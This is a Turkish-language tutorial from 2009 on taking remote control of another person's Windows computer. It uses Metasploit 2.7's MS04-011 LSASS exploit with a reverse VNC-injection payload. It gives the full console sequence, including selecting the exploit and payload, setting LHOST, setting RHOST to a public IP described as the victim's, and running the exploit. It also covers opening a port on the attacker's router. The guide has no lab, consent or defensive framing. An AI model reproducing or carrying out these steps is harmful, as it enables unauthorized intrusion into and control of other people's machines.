

## Reverse Connection ile VNC Kontrolü

MUSTAFA SERHAT DÜNDAR, <SERHAT AT SERHATDUNDAR DOT COM>,

21/06/2009

Öncelikle Metasploit Framework 2.7'yi aşağıdaki linkten bilgisayarınıza indirip kurunuz.

<http://www.metasploit.com/tools/framework-2.7.exe>

Metasploit yüklenir yüklenmez karşınıza kendi komut penceresini açar.

'Show EXPLOITS' komutu ile mevcut exploit listemizi görelim.

Bizim işimize yarayacak olan exploitin adı lsass\_ms04\_011

'Use lsass\_ms04\_011' komutu ile exploitimizi çalıştıralım.



```
Metasploit Framework
securecrt_ssh1          SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow
sentinel_lm7_overflow  SentinelLM UDP Buffer Overflow
servu_mdtn_overflow    Serv-U FTPD MDTM Overflow
shixxnote_font         ShixxNOTE 6.net Font Buffer Overflow
shoutcast_format_win32 SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow

slimftpd_list_concat   SlimFTPd LIST Concatenation Overflow
smb_sniffer            SMB Password Capture Service
solaris_dtspcd_noir    Solaris dtspcd Heap Overflow
solaris_kcms_readfile  Solaris KCMS Arbitrary File Read
solaris_lpd_exec       Solaris LPD Command Execution
solaris_lpd_unlink     Solaris LPD Arbitrary File Delete
solaris_sadmind_exec   Solaris sadmind Command Execution
solaris_snmpxdmnd      Solaris snmpxdmnd AddComponent Overflow
solaris_ttyprompt      Solaris in.telnetd TTYPROMPT Buffer Overflow
sphpblog_file_upload   Simple PHP blog remote command execution
squid_ntlm_authenticate Squid NTLM Authenticate Overflow
svnserve_date          Subversion Date Svnserve
sybase_easerver        Sybase EAServer 5.2 Remote Stack Overflow
sygate_policy_manager  Sygate Management Server SQL Injection
tftpd32_long_filename  TFTP32 <= 2.21 Long Filename Buffer Overflow
trackercam_phparg_overflow TrackerCam PHP Argument Buffer Overflow
ultravnc_client        UltraVNC 1.0.1 Client Buffer Overflow
uow_imap4_copy         University of Washington IMAP4 COPY Overflow
uow_imap4_sub          University of Washington IMAP4 LSUB Overflow
ut2004_secure_linux    Unreal Tournament 2004 "secure" Overflow (Linux)
ut2004_secure_win32    Unreal Tournament 2004 "secure" Overflow (Win32)
warftpd_165_pass       War-FTPD 1.65 PASS Overflow
warftpd_165_user       War-FTPD 1.65 USER Overflow
webstar_ftp_user       WebSTAR FTP Server USER Overflow
winamp_playlist_unc    Winamp Playlist UNC Path Computer Name Overflow
windows_ssl_pct        Microsoft SSL PCT MS04-011 Overflow
wins_ms04_045          Microsoft WINS MS04-045 Code Execution
wmailserver_smtp       SoftiaCom WMailserver 1.0 SMTP Buffer Overflow
wsftp_server_503_mkd   WS-FTP Server 5.03 MKD Overflow
wzdfstp_site           Wzdftpd SITE Command Arbitrary Command Execution
ypops_smtp             YahooPOPS! <= 0.6 SMTP Buffer Overflow
zenworks_desktop_agent ZENworks 6.5 Desktop/Server Management Remote Stack Overflow

msf > use lsass_ms04_011
msf lsass_ms04_011 >
```

'show options' komutu ile exploitimizin ayarlarını yapalım.

Daha sonra 'Show PAYLOADS' komutu ile bağlantılarımızı görelim.

Karşımıza gelen payloads'lardan bizim işimize yarayacak olan reverse connection'dur.Reverse Connection'un kelime anlamı ters bağlantıdır.Yani karşı bilgisayar bize bağlanmak isterken biz ona bağlanacağız. Olayın tersliği buradan geliyor.

'Set PAYLOAD win32\_reverse\_vncinject' komutuyla payload seçelim.

'Show options' ile ayarlarına bakalım.

Gelen ayarlardan payload başlığı altında ve required olarak belirlenmiş olanlar bu vnc\_injection'u gerçekleştirmemiz için gerekli olan şeyler.

Required LPORT 4321 yazan kısım bizden 4321 nolu portumuzu açmamız gerektiğini söylüyor.

Lhost (Local Host yani sizin ip'niz)

Rhost (Remote Host yani kurbanın ip'si)

Şimdi 4321 nolu portu açalım.

Port açmayı anlatmayacağım bu yazıda konunun dağılmasını istemiyorum. İnternette port açmayla ilgili bir çok kaynak bulabilirsiniz.

Bunların en başında bütün modeller için geçerli olan :

[http://www.portforward.com/english/routers/port\\_forwarding/routerindex.htm](http://www.portforward.com/english/routers/port_forwarding/routerindex.htm) adresini kullanabilirsiniz.Şimdi ben kendi modem arayüzümden 4321 nolu portumu açacağım.



Uygulama	Hedef IP Adresi	Protokol Tipi	WAN Portları	Hedef LAN Portları
4321Portu	192.168.2.2	TCP	4321	4321
		TCP		

Şimdi Başlat/Çalıştır/Cmd ile Dos penceresini açalım.

'ipconfig' yazıp enterlaryın.Varsayılan Ağ Geçidi yazan yerin yanındaki ip adresini bir yere not edin.Bu pencereyi kapatabilirsiniz (Dos penceresi)



```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.

C:\Documents and Settings\t4hr3s>ipconfig

Windows IP Yapılandırması

Ethernet bağdaştırıcı Yerel Ağ Bağlantısı:

    Bağlantıya özgü DNS Soneki . . . . :
    IP Adres. . . . . : 192.168.2.2
    Alt Ağ Maskesi. . . . . : 255.255.255.0
    Varsayılan Ağ Geçidi. . . . . : 192.168.2.1
C:\Documents and Settings\t4hr3s>
```

'set LHOST 192.168.2.1' komutu ile LHOST deęerini belirledik.

'set RHOST 88.225.136.134' komutu ile RHOST yani baęlanacaęımız kişinin ip'sini girdik.

Son olarak exploit komutu ile exploitimizi çalıştıralım.

Eęer baęlantı hatası alırsanız bunun nedeni büyük ihtimalle port açma işlemini doęru yapmamanızdan kaynaklanıyordur.

Elimden geldięince bu konuyu en basit şekilde anlatmaya çalıştım.